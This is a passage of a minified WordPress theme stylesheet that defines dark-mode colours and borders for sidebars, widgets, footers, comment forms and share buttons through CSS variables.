.penci-border-arrow{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-9 .penci-border-arrow{border-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content .penci-border-arrow:before{border-top-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-16 .penci-border-arrow:after{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-5 .penci-border-arrow{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-10 .penci-border-arrow,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-12 .penci-border-arrow,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-5 .penci-border-arrow .inner-arrow{border-bottom-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-10 .penci-border-arrow{border-top-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:after,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:before{border-top-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow:before{border-bottom-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-12.pcalign-center .penci-border-arrow .inner-arrow:after,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-12.pcalign-right .penci-border-arrow .inner-arrow:after{border-bottom-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:after,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-13.pcalign-left .penci-border-arrow .inner-arrow:after{border-right-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:before,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-13.pcalign-right .penci-border-arrow .inner-arrow:before{border-left-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-15 .penci-border-arrow:before{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-15 .penci-border-arrow:after{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-18 .penci-border-arrow:after{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-7 .penci-border-arrow .inner-arrow:before,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-9 .penci-border-arrow .inner-arrow:before{background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode #wp-calendar tbody td a,body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-playlist-item .penci-video-title,body.pcdm-enable.pcdark-mode .widget a,body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a,body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text h4 a,body.pcdm-enable.pcdark-mode .widget-social a i,body.pcdm-enable.pcdark-mode .widget-social a span,body.pcdm-enable.pcdark-mode .widget.widget_archive ul li,body.pcdm-enable.pcdark-mode .widget.widget_categories ul li{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #wp-calendar tbody td a:hover,body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-playlist-item .penci-video-title:hover,body.pcdm-enable.pcdark-mode .tweet-intents span:after,body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a:hover,body.pcdm-enable.pcdark-mode .widget-social.remove-circle a:hover i{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-button:hover,body.pcdm-enable.pcdark-mode .penci-user-logged-in .penci-user-action-links a:hover,body.pcdm-enable.pcdark-mode .widget .tagcloud a:hover,body.pcdm-enable.pcdark-mode .widget button[type=submit]:hover,body.pcdm-enable.pcdark-mode .widget input[type=submit]:hover,body.pcdm-enable.pcdark-mode .widget-social a:hover i{color:var(--pctext-cl);border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .about-widget .about-me-heading:before{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-tweets-widget-content .tweet-intents-inner:after,body.pcdm-enable.pcdark-mode .penci-tweets-widget-content .tweet-intents-inner:before,body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-thumb,body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-playlist-title,body.pcdm-enable.pcdark-mode .pencisc-column-1.penci-video_playlist .penci-video-nav .playlist-panel-item{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot.active span,body.pcdm-enable.pcdark-mode .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot:hover span{border-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .footer-subscribe{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .footer-subscribe h4.footer-subscribe-title{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .footer-subscribe .mc4wp-form .mdes{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .footer-subscribe .widget .mc4wp-form input[type=email],body.pcdm-enable.pcdark-mode .footer-subscribe .widget .mc4wp-form input[type=text]{border-color:var(--pcborder-cl);color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .footer-subscribe .widget .mc4wp-form input[type=email]:focus,body.pcdm-enable.pcdark-mode .footer-subscribe .widget .mc4wp-form input[type=email]:hover,body.pcdm-enable.pcdark-mode .footer-subscribe .widget .mc4wp-form input[type=text]:focus,body.pcdm-enable.pcdark-mode .footer-subscribe .widget .mc4wp-form input[type=text]:hover{border-color:var(--pclh-cl)}body.pcdm-enable.pcdark-mode .footer-subscribe input[type=email]::-webkit-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .footer-subscribe input[type=email]:-moz-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .footer-subscribe input[type=email]::-moz-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .footer-subscribe input[type=email]:-ms-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .footer-subscribe input[type=email]::-ms-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .footer-subscribe input[type=text]::-webkit-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .footer-subscribe input[type=text]:-moz-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .footer-subscribe input[type=text]::-moz-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .footer-subscribe input[type=text]:-ms-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .footer-subscribe input[type=text]::-ms-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .footer-subscribe .widget .mc4wp-form input[type=submit]{background-color:var(--pcbg-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .footer-subscribe .widget .mc4wp-form input[type=submit]:hover{background-color:var(--pcbg-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #widget-area{background-color:var(--pcbg-l-cl);border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .footer-widget-wrapper,body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type=date],body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type=email],body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type=number],body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type=search],body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type=text],body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget.widget_archive ul li,body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget.widget_categories ul li{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type=date],body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type=email],body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type=number],body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type=search],body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type=text],body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget ul li,body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget ul ul{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget .widget-title{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget .widget-title .inner-arrow{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget a,body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a,body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget ul.side-newsfeed li .side-item .side-item-text h4 a,body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget-social a i,body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget-social a span,body.pcdm-enable.pcdark-mode .footer-widget-wrapper a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget-social a:hover i{color:#fff}body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget a:hover,body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a:hover,body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget-social a:hover span,body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget-social.remove-circle a:hover i,body.pcdm-enable.pcdark-mode .footer-widget-wrapper a:hover,body.pcdm-enable.pcdark-mode .side-item-text h4 a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .footer-widget-wrapper .mc4wp-form input[type=submit]:hover,body.pcdm-enable.pcdark-mode .footer-widget-wrapper .penci-user-logged-in .penci-user-action-links a:hover,body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget .tagcloud a:hover,body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget button[type=submit]:hover,body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type=submit]:hover,body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget-social a:hover i{color:var(--pctext-cl);border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .footer-widget-wrapper .about-widget .about-me-heading:before{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .footer-widget-wrapper .penci-tweets-widget-content .tweet-intents-inner:after,body.pcdm-enable.pcdark-mode .footer-widget-wrapper .penci-tweets-widget-content .tweet-intents-inner:before{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .footer-widget-wrapper .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot.active span,body.pcdm-enable.pcdark-mode .footer-widget-wrapper .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot:hover span{border-color:var(--pcborder-cl);background:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode ul.footer-socials li a i{border-color:var(--pcborder-cl);color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode ul.footer-socials li a:hover i{background-color:var(--pcbg-cl);color:var(--pctext-cl);border-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode ul.footer-socials li a span{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode ul.footer-socials li a:hover span{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .footer-socials-section,body.pcdm-enable.pcdark-mode .penci-footer-social-moved{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .footer-instagram h4.footer-instagram-title{border-color:var(--pcborder-cl);color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode #footer-section,body.pcdm-enable.pcdark-mode .penci-footer-social-moved{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-footer-social-moved{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode #footer-section .footer-menu li a{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode #footer-section .footer-menu li a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode #footer-copyright *,body.pcdm-enable.pcdark-mode #footer-section{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #footer-section .go-to-top i,body.pcdm-enable.pcdark-mode #footer-section .go-to-top-parent span{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #footer-section .go-to-top:hover i,body.pcdm-enable.pcdark-mode #footer-section .go-to-top:hover span{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-go-to-top-floating{background-color:var(--pcaccent-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #footer-section a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .footer-instagram h4.footer-instagram-title span{border-color:var(--pctext-cl);color:inherit}body.pcdm-enable.pcdark-mode .author-content .author-social:hover,body.pcdm-enable.pcdark-mode .author-content h5 a:hover,body.pcdm-enable.pcdark-mode .comment-content a,body.pcdm-enable.pcdark-mode .container-single .author-post span a:hover,body.pcdm-enable.pcdark-mode .container-single .author-quote span,body.pcdm-enable.pcdark-mode .container-single .format-post-box .dt-special a:hover,body.pcdm-enable.pcdark-mode .container-single .format-post-box .post-format-icon i,body.pcdm-enable.pcdark-mode .container-single .post-entry a,body.pcdm-enable.pcdark-mode .container.penci-breadcrumb.single-breadcrumb a:hover,body.pcdm-enable.pcdark-mode .container.penci-breadcrumb.single-breadcrumb span a:hover,body.pcdm-enable.pcdark-mode .header-standard .post-box-meta-single .author-post span a:hover,body.pcdm-enable.pcdark-mode .item-related h3 a:hover,body.pcdm-enable.pcdark-mode .penci-dropcap-bold,body.pcdm-enable.pcdark-mode .penci-dropcap-box-outline,body.pcdm-enable.pcdark-mode .penci-dropcap-circle-outline,body.pcdm-enable.pcdark-mode .penci-dropcap-regular,body.pcdm-enable.pcdark-mode .penci_list_shortcode li:before,body.pcdm-enable.pcdark-mode .post-entry blockquote .author,body.pcdm-enable.pcdark-mode .post-entry blockquote cite,body.pcdm-enable.pcdark-mode .post-entry blockquote:before,body.pcdm-enable.pcdark-mode .post-pagination a:hover,body.pcdm-enable.pcdark-mode .wpb_text_column blockquote .author,body.pcdm-enable.pcdark-mode .wpb_text_column blockquote cite,body.pcdm-enable.pcdark-mode .wpb_text_column blockquote:before{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .container-single .standard-content-special .format-post-box,body.pcdm-enable.pcdark-mode .penci-dropcap-box-outline,body.pcdm-enable.pcdark-mode .penci-dropcap-circle-outline,body.pcdm-enable.pcdark-mode ul.slick-dots li button:hover,body.pcdm-enable.pcdark-mode ul.slick-dots li.slick-active button{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode #respond #submit:hover,body.pcdm-enable.pcdark-mode .penci-dropcap-box,body.pcdm-enable.pcdark-mode .penci-dropcap-circle,body.pcdm-enable.pcdark-mode .penci-ldspinner>div,body.pcdm-enable.pcdark-mode .post-entry blockquote .author span:after,body.pcdm-enable.pcdark-mode .post-entry blockquote .author span:before,body.pcdm-enable.pcdark-mode .post-entry ul li:before,body.pcdm-enable.pcdark-mode .post-entry.blockquote-style-2 blockquote:before,body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-s2 .post-share-plike,body.pcdm-enable.pcdark-mode .widget_wysija input[type=submit]:hover,body.pcdm-enable.pcdark-mode .wpcf7 input[type=submit]:hover,body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button:hover,body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form button[type=submit]:hover,body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=submit]:hover{background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .container-single .post-entry .post-tags a:hover{background-color:var(--pcbg-cl);color:var(--pctext-cl);border-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode #sidebar-nav,body.pcdm-enable.pcdark-mode .penci-menu-hbg{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode #sidebar-nav .menu li,body.pcdm-enable.pcdark-mode .penci-menu-hbg .menu li,body.pcdm-enable.pcdark-mode form.pc-searchform input.search-input{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode #respond #submit,body.pcdm-enable.pcdark-mode .contact-form input[type=submit],body.pcdm-enable.pcdark-mode .mc4wp-form input[type=submit],body.pcdm-enable.pcdark-mode .penci-login-register input[type=submit],body.pcdm-enable.pcdark-mode .penci-user-logged-in .penci-user-action-links a,body.pcdm-enable.pcdark-mode .widget button[type=submit],body.pcdm-enable.pcdark-mode .widget input[type=submit],body.pcdm-enable.pcdark-mode .widget_wysija input[type=submit],body.pcdm-enable.pcdark-mode .wpcf7 input[type=submit],body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button,body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form button[type=submit],body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=submit]{background-color:var(--pcbg-l-cl);color:var(--pctext-cl)}.pcdark-mode #respond #submit,.pcdark-mode .contact-form input[type=submit],.pcdark-mode .mc4wp-form input[type=submit],.pcdark-mode .penci-login-register input[type=submit],.pcdark-mode .penci-user-logged-in .penci-user-action-links a,.pcdark-mode .widget button[type=submit],.pcdark-mode .widget input[type=submit],.pcdark-mode .widget_wysija input[type=submit],.pcdark-mode .wpcf7 input[type=submit],.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button,.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form button[type=submit],.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=submit]{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .wp-block-search .wp-block-search__button svg{fill:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #respond #submit:hover,body.pcdm-enable.pcdark-mode .contact-form input[type=submit]:hover,body.pcdm-enable.pcdark-mode .footer-widget-wrapper .mc4wp-form input[type=submit]:hover,body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget button[type=submit]:hover,body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type=submit]:hover,body.pcdm-enable.pcdark-mode .mc4wp-form input[type=submit]:hover,body.pcdm-enable.pcdark-mode .penci-login-register input[type=submit]:hover,body.pcdm-enable.pcdark-mode .penci-user-logged-in .penci-user-action-links a:hover,body.pcdm-enable.pcdark-mode .widget button[type=submit]:hover,body.pcdm-enable.pcdark-mode .widget input[type=submit]:hover,body.pcdm-enable.pcdark-mode .widget_wysija input[type=submit]:hover,body.pcdm-enable.pcdark-mode .wpcf7 input[type=submit]:hover,body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button:hover,body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form button[type=submit]:hover,body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=submit]:hover{background-color:var(--pcbg-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .wp-block-search .wp-block-search__button:hover svg{fill:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-ldspinner>div{background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .container-single .penci-standard-cat .cat>a.penci-cat-name{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .container-single .penci-standard-cat .cat:after,body.pcdm-enable.pcdark-mode .container-single .penci-standard-cat .cat:before{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .container-single .header-standard .post-title{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .container-single .header-standard h2.penci-psub-title,body.pcdm-enable.pcdark-mode .container-single h2.penci-psub-title{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .container-single .post-entry .post-tags a{border-color:var(--pcborder-cl);background-color:var(--pcbg-cl);color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .pcnew-share .penci-social-share-text,body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-2_3 .penci-social-share-text{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .pcnew-share .penci-social-share-text{background-color:var(--pcbg-cl);border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .pcnew-share .penci-social-share-text:after{border-color:transparent transparent transparent var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .pcnew-share .penci-social-share-text:before{border-left-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .container-single .post-share a,body.pcdm-enable.pcdark-mode .page-share .post-share a,body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-2_3 .post-share .count-number-like,body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-2_3 .post-share a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .container-single .post-share a:hover,body.pcdm-enable.pcdark-mode .page-share .post-share a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .container-single .post-share a.liked{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .post-share .count-number-like,body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-2_3 .post-share .count-number-like{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-s3 .post-share .post-share-item{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-s3 .post-share .post-share-item:hover{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .header-standard .post-box-meta-single .author-post span,body.pcdm-enable.pcdark-mode .post-box-meta-single span,body.pcdm-enable.pcdark-mode .tags-share-box .single-comment-o{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .container.penci-breadcrumb a:hover,body.pcdm-enable.pcdark-mode .container.penci-breadcrumb span a:hover,body.pcdm-enable.pcdark-mode .container.penci-breadcrumb.single-breadcrumb a:hover,body.pcdm-enable.pcdark-mode .container.penci-breadcrumb.single-breadcrumb span a:hover,body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb a:hover,body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb span a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .post-entry,body.pcdm-enable.pcdark-mode .post-entry p{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .container-single .post-entry a,body.pcdm-enable.pcdark-mode.single .post-entry a{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-ilrelated-posts{background-color:var(--pcbg-cl);border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .pcilrp-heading span{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .pcilrp-heading span:after{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-ilrelated-posts .pcilrp-item-grid .pcilrp-title a,body.pcdm-enable.pcdark-mode .penci-ilrelated-posts .pcilrp-item-list a{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .penci-ilrelated-posts .pcilrp-item-grid .pcilrp-title a:hover,body.pcdm-enable.pcdark-mode .penci-ilrelated-posts .pcilrp-item-list a:hover{color:var(--pclh-cl)}body.pcdm-enable.pcdark-mode .pcilrp-meta{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-single-style-10 .penci-post-image-wrapper,body.pcdm-enable.pcdark-mode .penci-single-style-9 .penci-post-image-wrapper{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-rlt-popup .rtlpopup-heading{background-color:var(--pcbg-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-rlt-popup .penci-close-rltpopup{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-rlt-popup{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .penci-rlt-popup .rltpopup-meta .rltpopup-title{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci-rlt-popup .rltpopup-meta .rltpopup-title:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-rlt-popup .rltpopup-meta .date{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-rlt-popup .rltpopup-item{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode. post-author{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .abio-style-3 .author-img img,body.pcdm-enable.pcdark-mode .abio-style-4 .author-img img,body.pcdm-enable.pcdark-mode .post-author{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .author-content h5 a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .author-content h5 a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .author-content p{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .author-content .author-social{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .author-content .author-social:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .post-pagination span{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .post-pagination a{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .post-pagination a:hover{color:var(--pcaccent-cl)}.post-box-title,body.pcdm-enable.pcdark-mode #respond h3.comment-reply-title span{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #respond h3.comment-reply-title span:after,body.pcdm-enable.pcdark-mode #respond h3.comment-reply-title span:before,body.pcdm-enable.pcdark-mode .post-box-title:after,body.pcdm-enable.pcdark-mode .post-box-title:before{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .item-related h3 a{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .item-related h3 a:hover{color:var(--pclh-cl)}body.pcdm-enable.pcdark-mode .item-related span.date{color:var(--pcmeta-cl)}.thecomment .comment-text span.author a,body.pcdm-enable.pcdark-mode .thecomment .comment-text span.author{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .thecomment .comment-text span.author a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .thecomment .comment-text span.date{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .post-comments span.reply a,body.pcdm-enable.pcdark-mode .post-comments span.reply a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .thecomment .comment-content,body.pcdm-enable.pcdark-mode .thecomment .comment-content p{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #respond input[type=email],body.pcdm-enable.pcdark-mode #respond input[type=text],body.pcdm-enable.pcdark-mode #respond textarea{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #respond input[type=text]::placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #respond input[type=text]:-ms-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #respond input[type=text]::-ms-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #respond input[type=email]::placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #respond input[type=email]:-ms-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #respond input[type=email]::-ms-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #respond textarea::placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #respond textarea:-ms-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #respond textarea::-ms-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode form#commentform>.comment-form-cookies-consent,body.pcdm-enable.pcdark-mode form#commentform>div.penci-gdpr-message{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes .penci-fea-in h4 span,body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes .penci-fea-in h4 span span,body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes .penci-fea-in h4 span span:before,body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes .penci-fea-in h4>span:after,body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes .penci-fea-in h4>span:before,body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4:before,body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes li .penci-fea-in:after,body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes li .penci-fea-in:before{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes .penci-fea-in h4 span span{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes .penci-fea-in:hover h4 span{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .home-pupular-posts-title{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci-home-popular-posts{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-home-popular-post .item-related h3 a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-home-popular-post .item-related h3 a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-home-popular-post .item-related span.date{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title .inner-arrow,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-11 .inner-arrow,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-12 .inner-arrow,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-13 .inner-arrow,body.pcdm-enable.pcdark-mode 